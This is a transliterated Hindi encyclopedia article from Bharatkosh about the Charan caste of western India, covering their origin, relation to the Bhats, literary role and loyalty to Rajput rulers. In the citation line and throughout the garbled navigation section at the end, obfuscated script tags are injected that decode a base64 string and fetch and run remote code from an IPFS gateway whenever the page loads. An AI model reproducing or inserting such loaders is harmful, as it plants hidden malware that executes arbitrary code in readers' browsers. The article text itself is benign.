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charan bharat ke pashchimi gujarat rajy mean rahane vale v hindoo jati ki vanshavali ka vivaran rakhane vale vanshavalivid, bhat aur kathavachak.^[1]

utpatti

charan log rajasthan ki rajapoot jati se apani utpatti ka dava karate haian aur sanbhavat: mishrit brahman tatha rajapoot vansh se utpann ho sahate haian. inake kee rivaj uttari bharat mean unake pratiroop bhatoan se milate-julate haian. donoan samooh vachan bhang ke bajay mrityu ke varan ko adhik mahattv dene ke lie vikhyat haian. charan, yoddha tatha rajaoan se sanbandhit katha gitoan ki rachana ek vishisht pashchimi rajasthani boli mean karate haian, jise 'diangal' kaha jata hai, jisaka prayog kisi any uddeshy ke lie nahian kiya jata.

charan-bhat

'charan' evan 'bhat' ko alag-alag jati mean vargikrit kiya ja sakata hai, kintu donoan vargoan ke samajik antar ko dekhate hue unhean ek hi jati ki do up-jatiyaan kaha ja sakata hai. charan jati mean brahman aur rajapoot ke gunoan ka samanjasy milata hai. pathan-pathan tatha sahityik rachanaoan ke karan unaki tulana brahmanoan se ki jati hai. charan log rajapoot jati tatha rajakul se sambandhit the tatha ve shikshit hote the. apane shaikshik jnan ki adhikata ke karan ve rajasthani vat, khyat, raso aur sahity ke lekhak rahe the.

vahian doosari or bhat log janasadharan se sambandhit the, adhikatar padhe-likhe nahian the. lalasayukt yachak-pravriti ne unaki pratishtha ko dhumil kiya. shiksha ki kami ke karan ve charanoan se alag pidhinama, vanshavali tatha kursinama ke sangrahakarta the. lekin phir bhi samaj mean donoan ki pratishtha barabar ki rahi thi. charan tatha bhatoan ko apani seva ke badale rajy athava jagiroan se kar mukt bhoomi, gaanv adi prapt hote the.

svami bhakti

bhoomi dharak charan krishi kary bhi karate the. yuddh mean bhag lene v shanti ki sthapana mean yah jati rajapoot jati ke nikat thi. 18vian shatabdi mean marathoan ke viruddh tatha 19vian shatabdi mean antarik upadravoan ko dabane mean is jati ke logoan ne saphal sainik karyavahiyoan mean bhag liya tha. maharana amarasianh ke kal mean kuchh charanoan tatha bhatoan ne apane paitrik vyavasay ke sath-sath vyaparik saman bhi ek sthan se doosare sthan par le jane v bechane ka kary arambh kiya. aise logoan ko 'banajara' kaha jata tha. charanoan ki svami bhakti sadaiv ullekhaniy rahi thi. sankatakal mean bhi vah apane svami ke sath rahata tha. unaka ghar sankatakal mean rajapoot striyoan ke lie sarvadhik surakshit mana jata tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 151 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] rat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 151 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]